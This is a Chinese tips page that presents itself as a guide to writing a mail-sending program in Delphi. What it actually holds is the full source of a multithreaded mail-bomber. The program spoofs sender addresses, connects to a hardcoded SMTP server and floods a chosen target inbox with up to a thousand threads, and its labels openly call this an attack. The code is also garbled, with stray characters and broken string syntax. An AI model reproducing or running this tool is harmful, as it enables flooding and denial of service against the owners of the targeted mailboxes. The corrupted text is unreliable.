您的位置首页生活小窍门

怎样用delphi编写一个在线发送邮件的程序

怎样用delphi编写一个在线发送邮件的程序

windows,messages,winsock,sysutils;{$R *.RES}const CRLF=#13#10; exename:pchar='邮箱信使';var thd:array[1..1000] of integer; tid:array[1..1000] of dword; faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer; s1:string; sbuf:array[0..1024] of char; dest:string; attstart:boolean;//---------------------- wClass:  TWndClass;  //窗口类变量 Msg:   TMSG;    //消息变量 hInst,         春芹圆//程序实例 Handle,        //主窗口句柄 hFont,         //字体句柄首春//---------------- hButtonStart,  //开始按钮 hButtonStop,  //停止按钮 hButtonHelp,  //帮助按钮 hButtonExit,  //退出按钮 hEditEmail,   //e-mail编辑 hEditCount,   //次数编辑 hEditThread,  //线程数编辑 hLabelEmail,  //e-mail提示 hLabelCount,  //次数提示 hLabelThread,  //线程数提示 hLabelInfo   //领息提示 :integer;     //句柄类型//--------------------//往一个窗口写标题procedure WriteCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_SETTEXT,0,integer(text));end;//从一个窗口读标题procedure ReadCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_GETTEXT,400,integer(text));end;//以下是网络连接的过扒塌程function StartNet(host:string;port:integer):integer;var wsadata:twsadata; fsocket:integer; SockAddrIn:TSockAddrIn; err:integer;begin //为网络连接作好准备(用winsock1.1以上版本) err:=WSAStartup($0101,WSAData); //创建一个客户端套接字(Client Socket,用SOCK_STREAM,即TCP协义) FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP); //初始化网络数据 SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host)); SockAddrIn.sin_family := PF_INET; SockAddrIn.sin_port :=htons(port); //客户端向smtp进行连接 repeat err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn)); until err=0; // Result:=FSocket;end;//以下是网络关闭的过程procedure StopNet(Fsocket:integer);var err:integer;begin //发信结束,关闭客户端套接字(Close Client Socket) err:=closesocket(FSocket); //清除网络参数 err:=WSACleanup;end;//下面是个发送数据包的过程function SendData(FSocket:integer;SendStr:string):integer;const MaxSize=1024;var DataBuf:array[0..MaxSize] of char; err:integer;begin //读取网络数据 err:=recv(FSocket,DataBuf,MaxSize,0); strcopy(DataBuf,pchar(SendStr)); err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE); Result:=0;end;//下面是个发信的过程procedure SendMail;var SendBody:string; FSocket:integer;begin repeat  FSocket:=StartNet('202.104.32.230',25);  SendData(FSocket,'HELO'+CRLF);  SendData(FSocket,'MAIL FROM: <'+CRLF">hack001@21cn.com>'+CRLF);  SendData(FSocket,'RCPT TO: <'+dest+'>'+CRLF);  //第四步:发DATA指令,表示要向SMTP主机发数据  SendData(FSocket,'DATA'+CRLF);  SendBody:='From:"bome 2001"<'+CRLF">bome@hacker.com>'+CRLF       +'To:"bome 2001"<'+CRLF">bome@hacker.com>'+CRLF       +'Subject:New Bome 2001.'+CRLF       +CRLF       +'Hello World.'+CRLF       +'.'+CRLF;  SendData(FSocket,SendBody);  //第六步:发结QUIT指令,表示发信过程结束  SendData(FSocket,'QUIT'+CRLF);  //  waitforsingleobject(hMutex,INFINITE);  //显示发信过程的剩余邮件数目  WriteCaption(hLabelInfo,pchar('送出 '+inttostr(mcount)+' 封邮件 / '+'还有 '+inttostr(count)+' 封邮件 '+CRLF+  '正在使用: '+inttostr(num)+' 个攻击线程'+CRLF+  '经过时间: '+inttostr(newtime div 1000)+' 秒'));  //总次数减一  Dec(count);  //调用发信过程,进行发信  newtime:=integer(gettickcount())-oldtime;  speed:=mcount*1000*60 div newtime;  WriteCaption(handle,pchar('攻击速度: '+inttostr(speed)+' 封/分钟'));  inc(mcount);  //sleep(300);  if count<=0 then break;  releasemutex(hMutex);  //  StopNet(Fsocket); until count<=0;end;//------------------------------------//以下是线程创建时调用的线程函数function fun(Parameter: Pointer): Integer; stdcall;begin  SendMail;  WriteCaption(handle,exename);  WriteCaption(hLabelInfo,pchar('发送结束'));  attstart:=true;  result:=0;end;procedure ButtonStart;var k:integer;begin if attstart=true then begin  attstart:=false;  WriteCaption(hLabelInfo,pchar('发送开始........'));  ReadCaption(hEditEmail,sbuf);dest:=strpas(sbuf);  ReadCaption(hEditCount,sbuf);count:=strtoint(strpas(sbuf));  ReadCaption(hEditThread,sbuf);Num:=strtoint(strpas(sbuf));  oldtime:=gettickcount();  mcount:=0;  if Num>1000 then Num:=1000;  for k:=1 to Num do  thd[k]:=createthread(nil,0,@fun,nil,0,tid[k]); end;end;procedure ButtonStop;var k:integer;begin for k:=1 to Num do TerminateThread(thd[k],0); WriteCaption(handle,exename); WriteCaption(hLabelInfo,pchar('发送结束')); attstart:=true; count:=0;end;procedure MainCreate;begin attstart:=true; hMutex:=createmutex(nil,true,'Bome2001'); releasemutex(hMutex);end;procedure ButtonHelp;begin s1:='本软件只用学习用,不可害人'+CRLF+   '程序使用多线程100个线程,发送速度极快!'+CRLF; messagebox(handle,pchar(s1),'帮助',0);end;//主程序结束procedure ShutDown;begin CloseHandle(hMutex); //删除字体对象 DeleteObject(hFont); //取消窗口类的注册 UnRegisterClass(wClass.lpszClassName,hInst); //结束主进程 ExitProcess(hInst);end;//这是主窗口的消息处理函数function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;begin Result:=DefWindowProc(hWnd,Msg,wParam,lParam); case Msg of WM_COMMAND:  if lParam=hButtonStart then ButtonStart  else if lParam=hButtonStop then ButtonStop  else if lParam=hButtonHelp then ButtonHelp  else if lParam=hButtonExit then ShutDown; WM_CREATE:MainCreate; WM_DESTROY: ShutDown; end;end;//定义几个窗口创建函数functionCreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;begin Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);end;function CreateEdit(name:pchar;x1,y1,x2,y2:integer):hwnd;begin Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or WS_CHILD or ES_LEFT or ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil);end;function CreateLabel(name:pchar;x1,y1,x2,y2:integer):hwnd;begin Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil);end;function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd;begin //取得应用程序实例句柄 hInst:=GetModuleHandle(nil); //初使化窗口类的信息 with wClass do begin  Style:=     CS_PARENTDC;  hIcon:=     LoadIcon(hInst,'MAINICON');  lpfnWndProc:=  @WindowProc;  hInstance:=   hInst;  hbrBackground:= COLOR_BTNFACE+1;  lpszClassName:= 'MainClass';  hCursor:=    LoadCursor(0,IDC_ARROW); end; // 注册窗口类 RegisterClass(wClass); // 建立主窗口 Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);end;//---------主过程,类似于 C语言 中的 WinMain()begin //建立主窗口 handle:=CreateMain(exename,10,10,320,135); //建立四个控制按钮 hButtonStart:=CreateButton('发送攻击',240,4+26*0,70,24); hButtonStop:=CreateButton('停止发送' ,240,4+26*1,70,24); hButtonHelp:=CreateButton('帮 助' ,240,4+26*2,70,24); hButtonExit:=CreateButton('退 出' ,240,4+26*3,70,24); //建立两个编辑框 hEditEmail:=CreateEdit(bome@hacker.com',60,4,174,20">'bome@hacker.com',60,4,174,20); hEditCount:=CreateEdit('1000',60,4+26*1,60,20); hEditThread:=CreateEdit('10',193,4+26*1,41,20); //建立三个标签 hLabelEmail:=CreateLabel('发送目标:',4,8,54,24); hLabelCount:=CreateLabel('发送次数:',4,8+26*1,54,24); hLabelThread:=CreateLabel('线程数:',124,8+26*1,66,24); hLabelInfo:=CreateLabel('等候命令.....',4,8+26*2,220,44); //创建字体对象 hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,'宋体'); //改变字体 SendMessage(hButtonStart,WM_SETFONT,hFont,0); SendMessage(hButtonStop,WM_SETFONT,hFont,0); SendMessage(hButtonHelp,WM_SETFONT,hFont,0); SendMessage(hButtonExit,WM_SETFONT,hFont,0); SendMessage(hEditEmail,WM_SETFONT,hFont,0); SendMessage(hEditCount,WM_SETFONT,hFont,0); SendMessage(hEditThread,WM_SETFONT,hFont,0); SendMessage(hLabelEmail,WM_SETFONT,hFont,0); SendMessage(hLabelCount,WM_SETFONT,hFont,0); SendMessage(hLabelThread,WM_SETFONT,hFont,0); SendMessage(hLabelInfo,WM_SETFONT,hFont,0); //进入消息循环 while(GetMessage(Msg,Handle,0,0))do begin  TranslateMessage(Msg);  DispatchMessage(Msg); end;end.